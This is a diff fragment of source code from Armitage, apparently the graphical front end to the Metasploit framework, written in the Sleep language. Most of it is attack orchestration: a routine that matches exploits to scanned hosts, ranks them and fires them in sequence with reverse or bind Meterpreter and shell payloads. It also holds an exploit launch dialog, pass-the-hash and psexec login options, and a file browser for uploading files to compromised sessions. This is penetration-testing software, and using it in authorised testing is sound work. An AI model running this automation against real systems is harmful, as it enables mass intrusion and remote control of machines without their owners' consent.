($os, $port, $exploit) = split('/', $ex);
|
||||||
|
if ($os in @allowed && $ex !in %dupes) {
|
||||||
|
push(@attacks, @("$host", "$ex", best_payload($host, $ex, iff($ex in @always_reverse)), $p, %exploits[$ex]));
|
||||||
|
if ($p eq "139") {
|
||||||
|
push(@attacks, @("$host", "$ex", best_payload($host, $ex, iff($ex in @always_reverse)), 445, %exploits[$ex]));
|
||||||
|
}
|
||||||
|
%dupes[$ex] = 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
[[$console getWindow] append: "\t[ $+ $host $+ ] Found " . size($exploits) . " exploits\n" ];
|
||||||
|
}
|
||||||
|
|
||||||
|
[[$console getWindow] append: "\n2) Sorting Exploits\n"];
|
||||||
|
|
||||||
|
# now sort them, so the best ones are on top...
|
||||||
|
sort({
|
||||||
|
local('$a $b');
|
||||||
|
if ($1[1] !in %exploits) {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
if ($2[1] !in %exploits) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
$a = %exploits[$1[1]];
|
||||||
|
$b = %exploits[$2[1]];
|
||||||
|
|
||||||
|
if ($a['rankScore'] eq $b['rankScore']) {
|
||||||
|
return $b['date'] <=> $a['date'];
|
||||||
|
}
|
||||||
|
|
||||||
|
return $b['rankScore'] <=> $a['rankScore'];
|
||||||
|
}, @attacks);
|
||||||
|
|
||||||
|
[[$console getWindow] append: "\n3) Launching Exploits\n\n"];
|
||||||
|
|
||||||
|
# now execute them...
|
||||||
|
local('$progress');
|
||||||
|
$progress = [new ProgressMonitor: $null, "Launching Exploits...", "...", 0, size(@attacks)];
|
||||||
|
|
||||||
|
thread(lambda({
|
||||||
|
local('$host $ex $payload $x $rport %wait');
|
||||||
|
while (size(@attacks) > 0 && [$progress isCanceled] == 0) {
|
||||||
|
($host, $ex, $payload, $rport) = @attacks[0];
|
||||||
|
|
||||||
|
# let's throttle our exploit/host velocity a little bit.
|
||||||
|
if ((ticks() - %wait[$host]) > 1250) {
|
||||||
|
yield 250;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
yield 1500;
|
||||||
|
}
|
||||||
|
|
||||||
|
[$progress setNote: "$host $+ : $+ $rport ( $+ $ex $+ )"];
|
||||||
|
[$progress setProgress: $x + 0];
|
||||||
|
call_async($client, "module.execute", "exploit", $ex, %(PAYLOAD => $payload, RHOST => $host, LPORT => randomPort() . '', RPORT => "$rport", TARGET => '0', SSL => iff($rport == 443, '1')));
|
||||||
|
%wait[$host] = ticks();
|
||||||
|
$x++;
|
||||||
|
@attacks = sublist(@attacks, 1);
|
||||||
|
}
|
||||||
|
[$progress close];
|
||||||
|
|
||||||
|
[[$console getWindow] append: "\n\n4) Listing sessions\n\n"];
|
||||||
|
|
||||||
|
[$console addCommand: $null, "sessions -v"];
|
||||||
|
[$console start];
|
||||||
|
[$console stop];
|
||||||
|
}, \@attacks, \$progress, \$console));
|
||||||
|
}, \$console));
|
||||||
|
}
|
||||||
|
|
||||||
|
# choose a payload...
|
||||||
|
# best_client_payload(exploit, target)
|
||||||
|
sub best_client_payload {
|
||||||
|
local('$os');
|
||||||
|
$os = split('/', $1)[0];
|
||||||
|
|
||||||
|
if ($os eq "windows" || "*Windows*" iswm $2) {
|
||||||
|
return "windows/meterpreter/reverse_tcp";
|
||||||
|
}
|
||||||
|
else if ("*Generic*Java*" iswm $2) {
|
||||||
|
return "java/meterpreter/reverse_tcp";
|
||||||
|
}
|
||||||
|
else if ("*Mac*OS*PPC*" iswm $2 || ($os eq "osx" && "*PPC*" iswm $2)) {
|
||||||
|
return "osx/ppc/shell/reverse_tcp";
|
||||||
|
}
|
||||||
|
else if ("*Mac*OS*x86*" iswm $2 || "*Mac*OS*" iswm $2 || "*OS X*" iswm $2 || $os eq "osx") {
|
||||||
|
return "osx/x86/vforkshell/reverse_tcp";
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return "generic/shell_reverse_tcp";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub isIPv6 {
|
||||||
|
local('$inet $exception');
|
||||||
|
try {
|
||||||
|
$inet = [java.net.InetAddress getByName: $1];
|
||||||
|
if ($inet isa ^java.net.Inet6Address) {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch $exception { }
|
||||||
|
return $null;
|
||||||
|
}
|
||||||
|
|
||||||
|
# choose a payload...
|
||||||
|
# best_payload(host, exploit, reverse preference)
|
||||||
|
sub best_payload {
|
||||||
|
local('$compatible $os $win');
|
||||||
|
$compatible = call($client, "module.compatible_payloads", $2)["payloads"];
|
||||||
|
$os = iff($1 in %hosts, %hosts[$1]['os_name']);
|
||||||
|
$win = iff($os eq "Windows" || "windows" isin $2);
|
||||||
|
|
||||||
|
if ($3) {
|
||||||
|
if ($win && "windows/meterpreter/reverse_tcp" in $compatible) {
|
||||||
|
return "windows/meterpreter/reverse_tcp";
|
||||||
|
}
|
||||||
|
else if ($win && "windows/shell/reverse_tcp" in $compatible) {
|
||||||
|
return "windows/shell/reverse_tcp";
|
||||||
|
}
|
||||||
|
else if ("java/meterpreter/reverse_tcp" in $compatible) {
|
||||||
|
return "java/meterpreter/reverse_tcp";
|
||||||
|
}
|
||||||
|
else if ("java/shell/reverse_tcp" in $compatible) {
|
||||||
|
return "java/shell/reverse_tcp";
|
||||||
|
}
|
||||||
|
else if ("java/jsp_shell_reverse_tcp" in $compatible) {
|
||||||
|
return "java/jsp_shell_reverse_tcp";
|
||||||
|
}
|
||||||
|
else if ("php/meterpreter_reverse_tcp" in $compatible) {
|
||||||
|
return "php/meterpreter_reverse_tcp";
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return "generic/shell_reverse_tcp";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($win && "windows/meterpreter/bind_tcp" in $compatible) {
|
||||||
|
if (isIPv6($1)) {
|
||||||
|
return "windows/meterpreter/bind_ipv6_tcp";
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return "windows/meterpreter/bind_tcp";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if ($win && "windows/shell/bind_tcp" in $compatible) {
|
||||||
|
if (isIPv6($1)) {
|
||||||
|
return "windows/shell/bind_ipv6_tcp";
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return "windows/shell/bind_tcp";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if ("java/meterpreter/bind_tcp" in $compatible) {
|
||||||
|
return "java/meterpreter/bind_tcp";
|
||||||
|
}
|
||||||
|
else if ("java/shell/bind_tcp" in $compatible) {
|
||||||
|
return "java/shell/bind_tcp";
|
||||||
|
}
|
||||||
|
else if ("java/jsp_shell_bind_tcp" in $compatible) {
|
||||||
|
return "java/jsp_shell_bind_tcp";
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return "generic/shell_bind_tcp";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub addAdvanced {
|
||||||
|
local('$d');
|
||||||
|
$d = [new JCheckBox: " Show advanced options"];
|
||||||
|
[$d addActionListener: lambda({
|
||||||
|
[$model showHidden: [$d isSelected]];
|
||||||
|
[$model fireListeners];
|
||||||
|
}, \$model, \$d)];
|
||||||
|
return $d;
|
||||||
|
}
|
||||||
|
|
||||||
|
#
|
||||||
|
# pop up a dialog to start our attack with... fun fun fun
|
||||||
|
#
|
||||||
|
sub attack_dialog {
|
||||||
|
local('$dialog $north $center $south $center @targets $combobox $label $textarea $scroll $model $key $table $sorter $col $d $b $c $button $x $value');
|
||||||
|
|
||||||
|
$dialog = dialog("Attack " . join(', ', $3), 590, 360);
|
||||||
|
|
||||||
|
$north = [new JPanel];
|
||||||
|
[$north setLayout: [new BorderLayout]];
|
||||||
|
|
||||||
|
$label = [new JLabel: $1["name"]];
|
||||||
|
[$label setBorder: [BorderFactory createEmptyBorder: 5, 5, 5, 5]];
|
||||||
|
|
||||||
|
[$north add: $label, [BorderLayout NORTH]];
|
||||||
|
|
||||||
|
$textarea = [new JTextArea: [join(" ", split('[\\n\\s]+', $1["description"])) trim]];
|
||||||
|
[$textarea setEditable: 0];
|
||||||
|
[$textarea setOpaque: 1];
|
||||||
|
[$textarea setLineWrap: 1];
|
||||||
|
[$textarea setWrapStyleWord: 1];
|
||||||
|
[$textarea setBorder: [BorderFactory createEmptyBorder: 3, 3, 3, 3]];
|
||||||
|
$scroll = [new JScrollPane: $textarea];
|
||||||
|
[$scroll setBorder: [BorderFactory createEmptyBorder: 3, 3, 3, 3]];
|
||||||
|
|
||||||
|
[$north add: $scroll, [BorderLayout CENTER]];
|
||||||
|
|
||||||
|
$model = [new GenericTableModel: @("Option", "Value"), "Option", 128];
|
||||||
|
[$model setCellEditable: 1];
|
||||||
|
foreach $key => $value ($2) {
|
||||||
|
if ($key eq "RHOST") {
|
||||||
|
$value["default"] = join(", ", $3);
|
||||||
|
}
|
||||||
|
|
||||||
|
[$model _addEntry: %(Option => $key,
|
||||||
|
Value => $value["default"],
|
||||||
|
Tooltip => $value["desc"],
|
||||||
|
Hide =>
|
||||||
|
iff($value["advanced"] eq '0' && $value["evasion"] eq '0', '0', '1')
|
||||||
|
)
|
||||||
|
];
|
||||||
|
}
|
||||||
|
[$model _addEntry: %(Option => "LHOST", Value => $MY_ADDRESS, Tooltip => "Address (for connect backs)", Hide => '0')];
|
||||||
|
[$model _addEntry: %(Option => "LPORT", Value => randomPort(), Tooltip => "Bind meterpreter to this port", Hide => '0')];
|
||||||
|
|
||||||
|
$table = [new ATable: $model];
|
||||||
|
$sorter = [new TableRowSorter: $model];
|
||||||
|
[$sorter toggleSortOrder: 0];
|
||||||
|
[$table setRowSorter: $sorter];
|
||||||
|
addFileListener($table, $model);
|
||||||
|
|
||||||
|
local('$TABLE_RENDERER');
|
||||||
|
$TABLE_RENDERER = tableRenderer($table, $model);
|
||||||
|
|
||||||
|
foreach $col (@("Option", "Value")) {
|
||||||
|
[[$table getColumn: $col] setCellRenderer: $TABLE_RENDERER];
|
||||||
|
}
|
||||||
|
|
||||||
|
$center = [new JScrollPane: $table];
|
||||||
|
|
||||||
|
$south = [new JPanel];
|
||||||
|
[$south setLayout: [new BoxLayout: $south, [BoxLayout Y_AXIS]]];
|
||||||
|
#[$south setLayout: [new GridLayout: 4, 1]];
|
||||||
|
|
||||||
|
$d = addAdvanced(\$model);
|
||||||
|
|
||||||
|
$combobox = targetsCombobox($1);
|
||||||
|
|
||||||
|
$b = [new JCheckBox: " Use a reverse connection"];
|
||||||
|
|
||||||
|
if ($4 in @always_reverse) {
|
||||||
|
[$b setSelected: 1];
|
||||||
|
}
|
||||||
|
|
||||||
|
$c = [new JPanel];
|
||||||
|
[$c setLayout: [new FlowLayout: [FlowLayout CENTER]]];
|
||||||
|
|
||||||
|
$button = [new JButton: "Launch"];
|
||||||
|
[$button addActionListener: lambda({
|
||||||
|
local('$options $host $x');
|
||||||
|
syncTable($table);
|
||||||
|
|
||||||
|
$options = %();
|
||||||
|
|
||||||
|
for ($x = 0; $x < [$model getRowCount]; $x++) {
|
||||||
|
$options[ [$model getValueAt: $x, 0] ] = [$model getValueAt: $x, 1];
|
||||||
|
}
|
||||||
|
|
||||||
|
$options["TARGET"] = split(' \=\> ', [$combobox getSelectedItem])[0];
|
||||||
|
|
||||||
|
thread(lambda({
|
||||||
|
local('$host $hosts');
|
||||||
|
$hosts = split(', ', $options["RHOST"]);
|
||||||
|
|
||||||
|
foreach $host ($hosts) {
|
||||||
|
$options["PAYLOAD"] = best_payload($host, $exploit, [$b isSelected]);
|
||||||
|
$options["RHOST"] = $host;
|
||||||
|
if ([$b isSelected]) {
|
||||||
|
$options["LPORT"] = randomPort();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (size($hosts) >= 4) {
|
||||||
|
call_async($client, "module.execute", "exploit", $exploit, $options);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
module_execute("exploit", $exploit, copy($options));
|
||||||
|
}
|
||||||
|
yield 100;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ([$preferences getProperty: "armitage.show_all_commands.boolean", "true"] eq "false" || size($hosts) >= 4) {
|
||||||
|
showError("Launched $exploit at " . size($hosts) . " host" . iff(size($hosts) == 1, "", "s"));
|
||||||
|
}
|
||||||
|
}, $options => copy($options), \$exploit, \$b));
|
||||||
|
|
||||||
|
if (!isShift($1)) {
|
||||||
|
[$dialog setVisible: 0];
|
||||||
|
}
|
||||||
|
|
||||||
|
elog("exploit $exploit @ " . $options["RHOST"]);
|
||||||
|
}, $exploit => $4, \$model, \$combobox, \$dialog, \$b, \$table)];
|
||||||
|
|
||||||
|
[$c add: $button];
|
||||||
|
|
||||||
|
[$south add: left([new JLabel: "Targets: "], $combobox)];
|
||||||
|
[$south add: left($b)];
|
||||||
|
[$south add: left($d)];
|
||||||
|
[$south add: $c];
|
||||||
|
|
||||||
|
#[$dialog add: $north, [BorderLayout NORTH]];
|
||||||
|
local('$s');
|
||||||
|
$s = [new JSplitPane: [JSplitPane VERTICAL_SPLIT], $north, $center];
|
||||||
|
[$center setPreferredSize: [new Dimension: 0, 0]];
|
||||||
|
[$north setPreferredSize: [new Dimension: 480, 76]];
|
||||||
|
[$s resetToPreferredSizes];
|
||||||
|
[$s setOneTouchExpandable: 1];
|
||||||
|
|
||||||
|
[$dialog add: $s, [BorderLayout CENTER]];
|
||||||
|
[$dialog add: $south, [BorderLayout SOUTH]];
|
||||||
|
|
||||||
|
[$button requestFocus];
|
||||||
|
|
||||||
|
[$dialog setVisible: 1];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub min_rank {
|
||||||
|
return [$preferences getProperty: "armitage.required_exploit_rank.string", "great"];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub host_attack_items {
|
||||||
|
local('%m');
|
||||||
|
|
||||||
|
# we're going to take the OS of the first host...
|
||||||
|
%m = exploit_menus(%hosts[$2[0]]['os_name'], %results[$2[0]]);
|
||||||
|
|
||||||
|
if (size(%m) > 0) {
|
||||||
|
local('$a $service $exploits $e $name $exploit');
|
||||||
|
|
||||||
|
$a = menu($1, "Attack", 'A');
|
||||||
|
|
||||||
|
foreach $service => $exploits (%m) {
|
||||||
|
$e = menu($a, $service, $null);
|
||||||
|
foreach $name => $exploit ($exploits) {
|
||||||
|
item($e, $name, $null, lambda({
|
||||||
|
thread(lambda({
|
||||||
|
local('$a $b');
|
||||||
|
$a = call($mclient, "module.info", "exploit", $exploit);
|
||||||
|
$b = call($mclient, "module.options", "exploit", $exploit);
|
||||||
|
attack_dialog($a, $b, $hosts, $exploit);
|
||||||
|
}, \$exploit, \$hosts));
|
||||||
|
}, \$exploit, $hosts => $2));
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($service eq "smb") {
|
||||||
|
item($e, "pass the hash...", 'p', lambda(&pass_the_hash, $hosts => $2));
|
||||||
|
}
|
||||||
|
|
||||||
|
if (size($exploits) > 0) {
|
||||||
|
separator($e);
|
||||||
|
item($e, "check exploits...", 'c', lambda({
|
||||||
|
local('$result $h $console');
|
||||||
|
$console = createDisplayTab("Check Exploits", 1);
|
||||||
|
|
||||||
|
$h = $hosts[0];
|
||||||
|
foreach $result (values($exploits)) {
|
||||||
|
[$console addCommand: $null, "ECHO \n\n===== Checking $result =====\n\n"];
|
||||||
|
[$console addCommand: $null, "use $result"];
|
||||||
|
[$console addCommand: $null, "set RHOST $h"];
|
||||||
|
[$console addCommand: $null, "check"];
|
||||||
|
}
|
||||||
|
|
||||||
|
[$console start];
|
||||||
|
[$console stop];
|
||||||
|
}, $hosts => $2, \$exploits));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
local('$service $name @options $a $port $foo');
|
||||||
|
|
||||||
|
foreach $port => $service (%hosts[$2[0]]['services']) {
|
||||||
|
$name = $service['name'];
|
||||||
|
if ($name eq "smb" && "*Windows*" iswm getHostOS($2[0])) {
|
||||||
|
push(@options, @("psexec", lambda(&pass_the_hash, $hosts => $2)));
|
||||||
|
}
|
||||||
|
else if ("scanner/ $+ $name $+ / $+ $name $+ _login" in @auxiliary) {
|
||||||
|
push(@options, @($name, lambda(&show_login_dialog, \$service, $hosts => $2)));
|
||||||
|
}
|
||||||
|
else if ($name eq "microsoft-ds") {
|
||||||
|
push(@options, @("psexec", lambda(&pass_the_hash, $hosts => $2)));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (size(@options) > 0) {
|
||||||
|
$a = menu($1, 'Login', 'L');
|
||||||
|
foreach $service (@options) {
|
||||||
|
($name, $foo) = $service;
|
||||||
|
item($a, $name, $null, $foo);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub addFileListener {
|
||||||
|
local('$table $model $actions');
|
||||||
|
($table, $model, $actions) = @_;
|
||||||
|
|
||||||
|
if ($actions is $null) {
|
||||||
|
$actions = %();
|
||||||
|
}
|
||||||
|
|
||||||
|
# set up an action to pop up a file chooser for different file type values.
|
||||||
|
$actions["*FILE*"] = {
|
||||||
|
local('$title $temp');
|
||||||
|
$title = "Select $1";
|
||||||
|
$temp = iff($2 eq "",
|
||||||
|
chooseFile(\$title, $dir => $DATA_DIRECTORY),
|
||||||
|
chooseFile(\$title, $sel => $2)
|
||||||
|
);
|
||||||
|
if ($temp !is $null) {
|
||||||
|
[$4: strrep($temp, "\\", "\\\\")];
|
||||||
|
}
|
||||||
|
};
|
||||||
|
$actions["NAMELIST"] = $actions["*FILE*"];
|
||||||
|
$actions["DICTIONARY"] = $actions["*FILE*"];
|
||||||
|
$actions["Template"] = $actions["*FILE*"];
|
||||||
|
$actions["SigningCert"] = $actions["*FILE*"];
|
||||||
|
$actions["SigningKey"] = $actions["*FILE*"];
|
||||||
|
$actions["WORDLIST"] = $actions["*FILE*"];
|
||||||
|
|
||||||
|
# set up an action to pop up a file chooser for different file type values.
|
||||||
|
$actions["RHOST"] = {
|
||||||
|
local('$title $temp');
|
||||||
|
$title = "Select $1";
|
||||||
|
$temp = chooseFile(\$title, $dir => ".", $always => "1");
|
||||||
|
if ($temp !is $null) {
|
||||||
|
local('$handle');
|
||||||
|
$handle = openf($temp);
|
||||||
|
@addresses = readAll($handle);
|
||||||
|
closef($handle);
|
||||||
|
|
||||||
|
[$4: join(", ", @addresses)];
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
$actions["RHOSTS"] = $actions["RHOST"];
|
||||||
|
|
||||||
|
addMouseListener($table, lambda({
|
||||||
|
if ($0 eq 'mouseClicked' && [$1 getClickCount] >= 2) {
|
||||||
|
local('$type $row $action $change $value');
|
||||||
|
|
||||||
|
$value = [$model getSelectedValueFromColumn: $table, "Value"];
|
||||||
|
$type = [$model getSelectedValueFromColumn: $table, "Option"];
|
||||||
|
$row = [$model getSelectedRow: $table];
|
||||||
|
|
||||||
|
foreach $action => $change ($actions) {
|
||||||
|
if ($action iswm $type) {
|
||||||
|
[$change: $type, $value, $row, lambda({;
|
||||||
|
[$model setValueAtRow: $row, "Value", "$1"];
|
||||||
|
[$model fireListeners];
|
||||||
|
}, \$model, \$row)];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}, \$model, \$table, \$actions));
|
||||||
|
}
|
||||||
|
|
||||||
|
sub rankScore {
|
||||||
|
return %(normal => 1, good => 2, great => 3, excellent => 4)[$1];
|
||||||
|
}
|
|
@ -0,0 +1,423 @@
|
||||||
|
#
|
||||||
|
# File Browser (for Meterpreter)
|
||||||
|
#
|
||||||
|
|
||||||
|
import table.*;
|
||||||
|
import tree.*;
|
||||||
|
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.event.*;
|
||||||
|
import javax.swing.table.*;
|
||||||
|
import javax.swing.filechooser.*;
|
||||||
|
import javax.swing.text.*;
|
||||||
|
|
||||||
|
import java.io.*;
|
||||||
|
import ui.*;
|
||||||
|
|
||||||
|
global('%files %paths %attribs');
|
||||||
|
%files = ohash();
|
||||||
|
%paths = ohash();
|
||||||
|
%attribs = ohasha();
|
||||||
|
setMissPolicy(%paths, { return [new PlainDocument]; });
|
||||||
|
setMissPolicy(%files, { return [new GenericTableModel: @("D", "Name", "Size", "Modified", "Mode"), "Name", 128]; });
|
||||||
|
|
||||||
|
sub parseListing {
|
||||||
|
local('$model');
|
||||||
|
$model = %files[$1];
|
||||||
|
|
||||||
|
if ($0 eq "begin") {
|
||||||
|
[$model clear: 128];
|
||||||
|
}
|
||||||
|
else if ($0 eq "end") {
|
||||||
|
[$model fireListeners];
|
||||||
|
}
|
||||||
|
else if ($0 eq "update") {
|
||||||
|
if ("*Operation failed*" iswm $2) {
|
||||||
|
showError("$2 $+ \n\nMaybe you don't have permission to access \nthis folder? Press the Refresh button.");
|
||||||
|
}
|
||||||
|
else if ($2 ismatch 'Listing: (.*?)' || $2 ismatch 'No entries exist in (.*?)') {
|
||||||
|
local('$path');
|
||||||
|
($path) = matched();
|
||||||
|
[%paths[$1] remove: 0, [%paths[$1] getLength]];
|
||||||
|
[%paths[$1] insertString: 0, $path, $null];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
local('$mode $size $type $last $name');
|
||||||
|
($mode, $size, $type, $last, $name) = split('\s{2,}', $2);
|
||||||
|
|
||||||
|
if ($size ismatch '\d+' && $name ne "." && $name ne "..") {
|
||||||
|
[$model addEntry: %(Name => $name, D => $type, Size => iff($type eq "dir", "", $size), Modified => $last, Mode => $mode)];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
%handlers["ls"] = &parseListing;
|
||||||
|
|
||||||
|
# setupSizeRenderer($table, "columnname")
|
||||||
|
sub setupSizeRenderer {
|
||||||
|
[[$1 getColumn: $2] setCellRenderer: [ATable getSizeTableRenderer]];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub listDrives {
|
||||||
|
local('$queue');
|
||||||
|
$queue = [new armitage.ConsoleQueue: $client];
|
||||||
|
[$model clear: 128];
|
||||||
|
[$queue addCommand: $null, "use post/windows/gather/forensics/enum_drives"];
|
||||||
|
[$queue addCommand: $null, "set SESSION $1"];
|
||||||
|
[$queue addCommand: "x", "run"];
|
||||||
|
[$queue addListener: lambda({
|
||||||
|
local('@entries $entry $d $s $f');
|
||||||
|
@entries = parseTextTable($3, @('Device Name.', 'Type.', 'Size .bytes..'));
|
||||||
|
foreach $entry (@entries) {
|
||||||
|
$d = $entry['Device Name.'];
|
||||||
|
if ($d ismatch '....([A-Z]\\:)') {
|
||||||
|
[$model addEntry: %(Name => matched()[0], D => "dir", Size => "", Modified => "", Mode => "")];
|
||||||
|
$f = 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
[$refresh setEnabled: 1];
|
||||||
|
[$model fireListeners];
|
||||||
|
[$queue stop];
|
||||||
|
}, \$queue, \$model, \$refresh)];
|
||||||
|
[$refresh setEnabled: 0];
|
||||||
|
[$queue start];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub createFileBrowser {
|
||||||
|
local('$table $tree $model $panel $split $scroll1 $sorter $up $text $fsv $chooser $upload $mkdir $refresh $top $setcwd $drives');
|
||||||
|
|
||||||
|
$panel = [new JPanel];
|
||||||
|
[$panel setLayout: [new BorderLayout]];
|
||||||
|
|
||||||
|
$model = %files[$1];
|
||||||
|
$table = [new ATable: $model];
|
||||||
|
[$table setShowGrid: 0];
|
||||||
|
|
||||||
|
$sorter = [new TableRowSorter: $model];
|
||||||
|
[$sorter toggleSortOrder: 0];
|
||||||
|
[$table setRowSorter: $sorter];
|
||||||
|
|
||||||
|
# file size column
|
||||||
|
[$sorter setComparator: 2, {
|
||||||
|
return long($1) <=> long($2);
|
||||||
|
}];
|
||||||
|
|
||||||
|
# last modified column
|
||||||
|
[$sorter setComparator: 3, {
|
||||||
|
return convertDate($1) <=> convertDate($2);
|
||||||
|
}];
|
||||||
|
|
||||||
|
[[$table getColumn: "D"] setMaxWidth: 38];
|
||||||
|
|
||||||
|
[[$table getColumn: "D"] setCellRenderer: [ATable getFileTypeTableRenderer]];
|
||||||
|
|
||||||
|
# make sure subsequent columns do not have an icon associated with them...
|
||||||
|
[[$table getColumn: "Name"] setCellRenderer: [ATable getSimpleTableRenderer]];
|
||||||
|
|
||||||
|
setupSizeRenderer($table, "Size");
|
||||||
|
|
||||||
|
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
||||||
|
|
||||||
|
$text = [new ATextField: %paths[$1], "", 80];
|
||||||
|
[$text addActionListener: lambda({
|
||||||
|
local('$dir');
|
||||||
|
$dir = [[$1 getSource] getText];
|
||||||
|
[$model clear: 128];
|
||||||
|
[$model fireListeners];
|
||||||
|
m_cmd($sid, "cd ' $+ $dir $+ '");
|
||||||
|
m_cmd($sid, "ls");
|
||||||
|
[[$1 getSource] setText: ""];
|
||||||
|
}, $sid => $1, \$model)];
|
||||||
|
|
||||||
|
# this function should be called before every browser action to keep things in sync.
|
||||||
|
$setcwd = lambda({
|
||||||
|
m_cmd($sid, "cd '" . [$text getText] . "'");
|
||||||
|
}, \$text, $sid => $1, $platform => $2);
|
||||||
|
|
||||||
|
addMouseListener($table, lambda({
|
||||||
|
if ($0 eq 'mouseClicked' && [$1 getClickCount] >= 2) {
|
||||||
|
local('$model $sel');
|
||||||
|
$model = %files[$sid];
|
||||||
|
$sel = [$model getSelectedValue: $table];
|
||||||
|
|
||||||
|
[$model clear: 128];
|
||||||
|
[$model fireListeners];
|
||||||
|
|
||||||
|
if ("*Windows*" iswm sessionToOS($sid) && "'" !isin $sel && "'" !isin [$text getText]) {
|
||||||
|
if ([$text getText] eq "List Drives") {
|
||||||
|
m_cmd($sid, "cd ' $+ $sel $+ '");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
m_cmd($sid, "cd '" . [$text getText] . "\\ $+ $sel $+ '");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
[$setcwd];
|
||||||
|
m_cmd($sid, "cd \" $+ $sel $+ \"");
|
||||||
|
}
|
||||||
|
|
||||||
|
m_cmd($sid, "ls");
|
||||||
|
[$1 consume];
|
||||||
|
}
|
||||||
|
else if ([$1 isPopupTrigger]) {
|
||||||
|
local('$popup $model');
|
||||||
|
$popup = [new JPopupMenu];
|
||||||
|
$model = %files[$sid];
|
||||||
|
buildFileBrowserMenu($popup, [$model getSelectedValues: $table], convertAll([$model getRows]), \$sid, \$setcwd, \$text);
|
||||||
|
[$popup show: [$1 getSource], [$1 getX], [$1 getY]];
|
||||||
|
[$1 consume];
|
||||||
|
}
|
||||||
|
}, $sid => $1, \$table, \$setcwd, \$text));
|
||||||
|
|
||||||
|
$fsv = [FileSystemView getFileSystemView];
|
||||||
|
$chooser = [$fsv getSystemIcon: [$fsv getDefaultDirectory]];
|
||||||
|
|
||||||
|
$up = [new JButton: $chooser];
|
||||||
|
#[$up setPressedIcon:
|
||||||
|
# [new ImageIcon: iconToImage($chooser, 2, 2)]
|
||||||
|
#];
|
||||||
|
#[$up setBorder: [BorderFactory createEmptyBorder: 2, 2, 2, 8]];
|
||||||
|
#[$up setOpaque: 0];
|
||||||
|
#[$up setContentAreaFilled: 0];
|
||||||
|
[$up setToolTipText: "Go up one directory"];
|
||||||
|
|
||||||
|
[$up addActionListener: lambda({
|
||||||
|
this('$last');
|
||||||
|
if ((ticks() - $last) < 500) {
|
||||||
|
warn("Dropping cd .. -- too fast");
|
||||||
|
$last = ticks();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
$last = ticks();
|
||||||
|
|
||||||
|
[$model clear: 128];
|
||||||
|
[$model fireListeners];
|
||||||
|
if ("*Windows*" iswm sessionToOS($sid) && "'" !isin [$text getText]) {
|
||||||
|
m_cmd($sid, "cd '" . [$text getText] . "\\..'");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
[$setcwd];
|
||||||
|
m_cmd($sid, "cd ..");
|
||||||
|
}
|
||||||
|
m_cmd($sid, "ls");
|
||||||
|
}, $sid => $1, \$setcwd, \$text, \$model, \$refresh)];
|
||||||
|
|
||||||
|
# setup the whatever it's called...
|
||||||
|
|
||||||
|
$upload = [new JButton: "Upload..."];
|
||||||
|
[$upload addActionListener: lambda({
|
||||||
|
local('$file $name');
|
||||||
|
$file = chooseFile($always => iff($client !is $mclient));
|
||||||
|
$name = getFileName($file);
|
||||||
|
if ($file !is $null) {
|
||||||
|
[$setcwd];
|
||||||
|
if ($client !is $mclient) {
|
||||||
|
# some crazy gymnastics here due to how Sleep handles thread-safety...
|
||||||
|
local('$closure $thread');
|
||||||
|
$closure = lambda({
|
||||||
|
m_cmd($sid, "upload \" $+ $file $+ \" \" $+ $name $+ \"");
|
||||||
|
}, \$sid, \$name, \$file);
|
||||||
|
$thread = [new armitage.ArmitageThread: $closure];
|
||||||
|
|
||||||
|
fork({
|
||||||
|
$file = uploadBigFile($file);
|
||||||
|
$closure['$file'] = $file;
|
||||||
|
[$thread start];
|
||||||
|
}, \$file, \$thread, \$closure, \$mclient);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
m_cmd($sid, "upload \" $+ $file $+ \" \" $+ $name $+ \"");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
# refresh?!?
|
||||||
|
}, $sid => $1, \$setcwd)];
|
||||||
|
|
||||||
|
$mkdir = [new JButton: "Make Directory"];
|
||||||
|
[$mkdir addActionListener: lambda({
|
||||||
|
local('$name');
|
||||||
|
$name = ask("Directory name:");
|
||||||
|
if ($name !is $null) {
|
||||||
|
[$setcwd];
|
||||||
|
m_cmd($sid, "mkdir \" $+ $name $+ \"");
|
||||||
